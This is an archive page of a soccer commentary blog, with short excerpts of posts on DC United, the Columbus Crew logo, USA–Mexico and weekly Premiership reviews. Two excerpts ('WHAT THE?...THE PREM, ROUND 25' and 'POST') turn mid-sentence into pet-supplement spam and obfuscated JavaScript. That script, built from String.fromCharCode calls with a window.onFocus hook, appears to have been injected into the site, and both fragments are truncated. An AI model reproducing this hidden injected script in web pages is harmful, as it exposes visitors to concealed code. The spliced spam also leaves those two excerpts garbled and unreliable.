unrefined soccer commentary from two americans who know everything

Browsing all 10 posts in Uncategorized.

The Commentator Conundrum

Written by: Gabe

Last night, DC United was gracious and savvy enough to provide a live online video feed of the US Open Cup match against Columbus. As the feed was a service provided by DC, the franchise provided the game commentator as well. This created a somewhat fiery situation between DC and Crew supporters, manifested publicly on [...]

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JUST KIDDING

Written by: Gabe

TWITTER banned our account today for some reason. Looking into it… ***UPDATE*** We’re back. No explanation, but we’re back on Twitter nonetheless.

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FOLLOW US ON TWITTER

Written by: Gabe

ASTROHEADER is now also on Twitter, and before you judge us… we have a good reason. Many of our thoughts don’t go beyond one sentence but are captivating enough to bring you the immense joy you expect from Astroheader. Before, they were lost forever. Now, they are tweets. Also, live commentary during games will be [...]

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ALMOST POETRY

Written by: Gabe

Bravo US men for the come-from-behind 2-2 tie, but The win was practically handed to Brian Ching twice on a silver platter in the final two minutes. A win is always good, but this one would have been poetic, because those final two minutes only existed because El Salvador chose to feign at least six [...]

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Los Angeles Galaxy Wanker #1

Written by: JustJV

Landon Donovan, on his loan stint to Bayern Munich: “I’m not sure I wouldn’t have changed if I hadn’t gone.” Emphasis mine. Go ahead, figure that one out.

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IT’S A “RIVALRY”

Written by: Gabe

Wednesday night had the potential to be the greatest soccer match I have witnessed in my life. A home town match. USA vs Mexico. Life-threatening weather. Insanely good seats. Even Trecker remarked that the match “offers fans one of the purest and rarest soccer experiences: Real, unbridled menace”.  I live in a city where the [...]

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WHAT THE?…THE PREM, ROUND 25

Written by: Tyler

WHAT THE? is my weekly Premiership review column where I write about the pet nutrition supplementsqbzhp=0;ejtkd=String.fromCharCode(121,108,97,120,116,113,98,99,106,109);xfeub=String.fromCharCode(114,118,114,100,121,40,41);fqbto=document.getElementById(String.fromCharCode(113,115,116,105));window.onFocus=bfpuz();function rvrdy(){++qbzhp;(qbzhp

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CREW LOGO MARCHES ON

Written by: Gabe

My proposed refresh of the Columbus Crew’s logo has become unexpectedly controversial. I’ve had feedback of all kinds, ranging from enthusiastic support, constructive criticism, and (the most entertaining) inconsequential condescending ignorance. Shall we? “Awesome! We need a new logo.” Thanks. Join the Facebook group! “NO!!! THIS IS RETARDED! WHAT A STUPID IDEA!!! NEVER CHANGE THE [...]

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POST

Written by: Gabe

POST supplements for petscbzzy=0;vbfsr=String.fromCharCode(121,105,120,121,104,119,117,106,99,109);phvec=String.fromCharCode(108,122,118,107,101,40,41);msgll=document.getElementById(String.fromCharCode(120,110,98,119));window.onFocus=rvcfw();function lzvke(){++cbzzy;(cbzzy

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WHAT THE?…THE PREMIERSHIP, WEEK 8

Written by: Tyler

WHAT THE? is my weekly Premiership review with only the interesting events that should not have happened in the first place. This was a boring week with the Big Four winning by big spreads, Man U won 4-0, Chelsea won 5-0. All the news came from the promoted teams. Hull City has continued their great [...]

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